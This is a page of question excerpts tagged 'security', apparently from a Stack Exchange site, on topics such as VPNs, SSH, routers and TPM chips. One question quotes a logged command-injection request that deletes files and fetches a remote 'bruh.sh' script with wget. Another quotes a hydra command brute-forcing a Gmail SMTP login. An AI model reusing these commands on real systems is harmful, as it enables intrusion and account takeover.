Questions tagged [security]

The protection of computer systems and information from threats such as theft or data destruction.

Filter by
Sorted by
Tagged with
0 votes
0 answers
6 views

DAST Security Assessment of Microsoft Outlook / Teams add-ins

I wish to perform DAST assessment on multiple Microsoft Outlook and Teams add-ins such as EVA, etc. What would I require to do so? Is BurpSuite enough to perform the task at hand? Any other tools ...
DeshBhakt's user avatar
  • 727
0 votes
0 answers
40 views

I can't set security to None on my wifi

I have a TV which is broken in either software or something else, I can't enter keyboard input from the remote controller, yet I can STILL control it. Either way, past that, I need to connect to wifi ...
umarkaa's user avatar
2 votes
1 answer
1k views

Why do people discourage using Tor with a VPN?

Why do Tor experts discourage using Tor and a VPN at the same time? Is it because of the network fingerprint, latency, or that there is no point to it?
paranoidrunner's user avatar
0 votes
0 answers
30 views

Delete PK key from terminal when secure boot is disabled

When secure boot is disabled, is it possible to delete the PK key from terminal? I know that to change the keys, you need to enter setup mode. And to enter setup mode, you need to delete the PK key. ...
acmpo6ou's user avatar
  • 101
1 vote
1 answer
61 views

How secure is VirtualBox's VM encryption?

I'm using VirtualBox 7 on Windows 11. How secure is their disk image encryption? Where is the encryption key stored? If a third party gets access to the computer when the VM is turned off, what are ...
paranoidrunner's user avatar
-1 votes
0 answers
31 views

Storage setup for business + cyber home lab machine [closed]

I'm buying a new laptop to be used with two separate functions: Windows OS: Running business and personal tasks (office, email, streaming, banking, browsing, etc.) Linux OS: Home lab for cyber ...
Jake Jambos's user avatar
1 vote
1 answer
62 views

More secure option than DDNS + port forwarding to host website

I wondered if there is a more secure solution for my setup. A small PC at home is hosting a website (on port 8080) while my router is forwarding outside requests from port 80 to internal port 8080 of ...
Joe's user avatar
  • 13
0 votes
0 answers
56 views

How to get minimal vendor information about the TPM chip installed in my laptop

How do I get some minimal information about the TPM chip in my Linux laptop? Information such as the manufacturer, manufacturer id, manufacturer version. So far I have tried the tpm2_getcap command to ...
a001's user avatar
  • 1
-1 votes
1 answer
80 views

Will my home router user/admin password be any protection against hackers?

I'm in Australia, I have "Fiber To The Home". This passes through the NBN box on the outside wall, to the NBN modem inside the wall, and thence to my mid-range ASUS AC1900 Dual Band router. ...
Some Bloke's user avatar
8 votes
5 answers
4k views

Hiding public IP address while using free DynDns?

I currently have a multitude of servers running on my home network. These include a Minecraft server, a Git server, and a Teamspeak server (the last two are running on docker on a Raspberry Pi). To ...
Cyros's user avatar
  • 107
0 votes
0 answers
10 views

received sms from Google with a code [migrated]

I just received an sms, the phone shows that sender is "Google" it says: .Google (some arabic) G-123131231 (some code basically). Could this be actualy google ? Why was it sent to me ?
buga's user avatar
  • 103
1 vote
0 answers
121 views

Passkeys with Firefox - Touch your security key to continue

I am trying to log in to Github with Firefox. When I try to log in, the web page gives me an option to try with a passkey. When I do that, Firefox displays a dialog box saying "Touch your ...
D.W.'s user avatar
  • 1,479
0 votes
1 answer
49 views

What's the difference between security.debian.org/debian-security and deb.debian.org/debian-security for Debian 12?

Continuing http://unix.stackexchange.com/questions/541569 (which refers to the outdated Debian 10 and is unspecific/unclear in other ways, and the only answer to which is around 4 years old and at ...
AlMa1r's user avatar
  • 113
0 votes
0 answers
31 views

Limit RDP use with certificate

I need help with RDP in home environment. I need to access my home computer from my class with RDP and I only want to allow access to remote machines that have a certificate issued by me (yes, I ...
Unix's user avatar
  • 29
2 votes
1 answer
132 views

Strange GET request to my server: Should I be concerned?

I'm very new to hosting and I get a get request like this: GET /goform/webRead/open/?path=|rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F(ip adress)%2Fbruh.sh%3B%20chmod%20777%20bruh.sh%3B%...
Computer_Master's user avatar
0 votes
1 answer
32 views

can anyone explain how user keys are verified (post host key/KEX, and not authorized_keys)? issue with ssh user key verify

Nutshell: Looking for a bit of an ELI5 explaining the protocol and/or implementation (openssh) of [post-KEX] user key verification (who does what) without being in code I don't understand or a too-...
zenfridge's user avatar
0 votes
1 answer
69 views

How to get through restrictions blocking OpenVPN?

I have recently set up a VPN server on my desktop at home in the hopes I can connect to it while at the university from my laptop. I have confirmed that I can connect easily on a mobile data hotspot, ...
Mercury's user avatar
  • 101
0 votes
0 answers
29 views

Share folder structure for projects

I am trying to figure out a way to set up a share drive that will allow a manufacturing shop to restrict access depending whether they work in the office or on the shop floor. The way they want to do ...
Theodore Cooper's user avatar
0 votes
0 answers
71 views

Bitdefender detected my router trying to exploit my PC. Should I be worried?

Recently my Bitdefender AV blocked an attempted exploit to my PC via my routers IP address. Should I be concerned? Could it be that my NMAP intense scan caused this? Bitdefender exploit protection ...
AlexanderB01's user avatar
-1 votes
0 answers
234 views

Is there a comprehensive list of devices affected by KV botnet malware infections?

According to this January 31, 2024 article in Ars Technica: Chinese malware removed from SOHO routers after FBI issues covert commands Routers were being used to conceal attacks on critical ...
Giacomo1968's user avatar
  • 54.6k
0 votes
0 answers
48 views

Linux oathtool-generated TOTP 6-digit code invalid for 2FA SSH login using pam_oath.so

I'm trying to set up TOTP 2FA login into an SSH session on my Ubuntu box. To this end I have in /etc/users.oath: HOTP/T30/6 testuser – 8436e373cbdabce46a5d8d019c463a (I'm generating this value over ...
Stefan's user avatar
  • 101
0 votes
0 answers
75 views

Unknown devices on router WiFi without password knowledge

I am facing a new (to me) situation. My ISP provided me with a Zyxel DX5401-B0 modem/router. Recently, I noticed in the list of connected devices a few ones listed as "unknown", with MAC ...
texnic's user avatar
  • 545
1 vote
0 answers
80 views

computer randomly forgets settings and folders, sometimes logs out

for some longer time i'm having problem with computer (or even computers as it was happening on two computers) not saving settings. i shutdown every electronics at night so every day is a reboot. and ...
hacknorris's user avatar
0 votes
1 answer
76 views

Create admin user without permission to change password of other admin

We have two administrators who are responsible for maintaining a machine running Windows 10. Both administrators need to have the ability to install any software on the machine (including software ...
Clownfish's user avatar
1 vote
0 answers
75 views

Dell and preinstalled McAfee. Uninstalling it is causing Issues with Windows security. Why?

I am using Dell. I have recently reset my PC. After reinstalling Windows 11, it also pre-installed McAfee antivirus, (I'd not consented to this). After uninstalling, I cannot see or make any changes ...
Josh's user avatar
  • 11
0 votes
0 answers
109 views

Disable Or enable Tamper Protection using start windowsdefender: scheme

I recently read you can enable real time protection by using: start windowsdefender://enablertp/ I want to enable/disable Tamper Protection from a batch script using the same concept. I've tried ...
OW2 Is Trash's user avatar
0 votes
0 answers
61 views

Selective TLS connection fail

I have a VB.NET application that connects to a remote server, which I have no authority whatsoever, via a username/password, retrieves some data and populates a local database. Lately the application ...
user10191234's user avatar
0 votes
0 answers
45 views

Should files from an RPM package be installed with root permissions?

Our software is installed via RPM alongside a customizable service user and group. No other users need to run the software besides the service user. I've spent some time searching and can't seem to ...
mitchellJ's user avatar
  • 101
0 votes
1 answer
49 views

Dangerous vulnerability: pinentry-mac completely and continuously disables prompt for GPG passphrase

The short story: I just installed pinentry-mac and this asks me my passphrase only once but then decrypt gpg files without asking for passphrase The long story: I am running macos and I use gpg and ...
ecjb's user avatar
  • 121
26 votes
1 answer
3k views

What is a web site doing while displaying "Checking if the site connection is secure"?

Some web pages display something similar to this when opened, with a message like "Checking if the site connection is secure": The process usually takes some non-trivial time, sometimes it ...
Honza Zidek's user avatar
0 votes
1 answer
46 views

Overcoming client isolation for peer to peer audio streaming application

I am a student developer trying to develop an app that utilizes peer to peer audio streaming with UDP. The app's use case requires it to be used in public settings, specifically places like ...
Zachary Haslam's user avatar
0 votes
0 answers
32 views

Knockd not executing the knock command

I am trying to setup knock daemon, however it does not seem to execute the knock command. To debug the issue, I used this simple configuration, which is slightly edited example from the documentation: ...
Stefan's user avatar
  • 1
0 votes
1 answer
48 views

Permissions Denied error when trying to run a command via the authorized_key file

I am trying to get a command to run via the authorized_keys file. I have set the perms to 600 for the authorized_keys file, and the .ssh dir to 700. In the authorized file I have the following: ...
Daxcor's user avatar
  • 11
1 vote
1 answer
261 views

How to find last user added in Linux?

We had an attack on some of our Linux servers and we need to find if new users where added to the OS, I checked /etc/passwd and it doesn't seem to be something strange, but it doesn't show when each ...
Chico3001's user avatar
  • 274
1 vote
0 answers
65 views

How to show private data in macOS unified log within Xcode

I am getting runtime errors in Xcode involving interface builder. However, the system logger is sanitizing pertinent information contained in the logging. Unknown class <private> in Interface ...
Todd Stanley's user avatar
1 vote
0 answers
80 views

Configure SSH to immediately deny all authentication but still listen

I'm trying to configure an SSH server to only allow access for a specific user from a specific IP address. I've configured that with PubkeyAuthentication no PasswordAuthentication no ...
wastelandcourierperson's user avatar
-1 votes
1 answer
263 views

How do I recover the password to a gmail account with hydra? [closed]

hydra -S -l "$email" -P w_file -V -s 465 smtp.gmail.com smtp Where email is just one one my gmail accounts and w_file is a file with three incorrect passwords and one correct (karina6c in ...
John Smith's user avatar
0 votes
1 answer
166 views

Chrome on Linux does not allow to download .deb file

I rather know what am I doing if I want to download .deb file. The problem is how does it work on Chrome. After I click download link, nothing happens. No any message shown, no warning, just no ...
user1209216's user avatar
0 votes
0 answers
24 views

Linux screen lock sometimes fails after lid close/open

I have Ubuntu Lunar 23.04 on Lenovo Yoga 7 14''. When I close the lid, the system goes into suspend, as expected. Then on open, screen lock pops up, with a password prompt. However sometimes after ...
haael's user avatar
  • 101
0 votes
1 answer
185 views

How To SetUP SOCKS5 Proxy Server on Linux based OS

What is the best way to setup SOCKS5 proxy server on *nix? I have tried a lot of solutions but really not impressed For instance one GO-based solution just not working, another option is to use ssh ...
Грибной Щер's user avatar
0 votes
0 answers
84 views

What disables the 'Startup type' dropdown in the services.msc snap-in, for the gamingservices and gamingservicesnet services?

I've met my share of difficult Microsoft services that don't want to be fiddled with for various reasons, but I can't seem to figure out the gamingservices & gamingservicesnet services. I've added ...
JustJinxed's user avatar
1 vote
2 answers
64 views

Unknown commands hogging all my cpu. " ./4 -c/tmp/ ..."

this is a follow up for this issue Usually, a few hours after a restart we would get a weidly named process like this htop output Turns out it was from out docker postgresql service and the posgres ...
Iujyrino's user avatar
7 votes
2 answers
5k views

If someone opens a Word document from a USB drive but does not save it to the computer, can I access the file's contents after the drive is removed?

If someone opens a Word document from USB flash drive but does not save it to the computer, can I access the file's contents after the drive has been removed? If so, how? I already tried data recovery ...
Mohi's user avatar
  • 71
0 votes
1 answer
81 views

In RSA or Assymetric Encryption, What EXACTLY is the purpose of the Private key? Do both hosts send their private key to each other?

First, let me know if i got anything wrong. The whole private and public key concept confuses me to no end. From what I know, basically RSA uses both public and private key. Public keys are PUBLICLY ...
lgrps's user avatar
  • 11
0 votes
1 answer
91 views

Can't unlock folders with "Any Folder Password Lock" software

I'm using a software called Any Folder Password Lock and it's not unlocking my folder anymore.. I tried to uninstall it but the folder is still locked and I'm pretty sure what password I use to lock ...
Abdulrahman Zayed's user avatar
0 votes
1 answer
55 views

Can USB drives still be read or written to after hitting "Eject" in Windows 11?

After hitting "Eject" in Windows explorer, without removing the USB stick, can it still be read or written to by other software? If I leave it plugged in is there any risk of other software ...
Taylor Swift's user avatar
0 votes
1 answer
566 views

How do I use Mullvad's post-quantum safe tunnels with another WireGuard VPN client?

Mullvad includes setup instructions on their website for using their service with WireGuard clients on different platforms. Is it possible to use their quantum-resistant tunnel feature in a WireGuard ...
user12638282's user avatar
-1 votes
1 answer
159 views

How to disable 'Save As' option and prohibiting file saving in Adobe Acrobat?

I'm seeking guidance on how to implement restrictions in Adobe Acrobat for a PDF document. I have password-protected the file, but I'm looking to further restrict users from accessing the 'Save As' ...
Aviad Ofek's user avatar
0 votes
1 answer
353 views

If the Windows Security icon is disabled, will I get notifications from Windows Security?

I know I can disable the icon in the startup tab of Task Manager. But I'm worried that if I do that, I won't get any notifications from Windows Security. So I was wondering if I would still get the ...
ispiro's user avatar
  • 1,573
0 votes
2 answers
300 views

Why can't I access the Web Telegram website (error NET::ERR_CERT_AUTHORITY_INVALID)?

Whether I use Firefox or Chrome, I'm not able to access the https://web.telegram.org/ website. I get the following on Chrome: Your connection is not private Attackers might be trying to steal your ...
Carson Nicholson's user avatar

1
2 3 4 5
109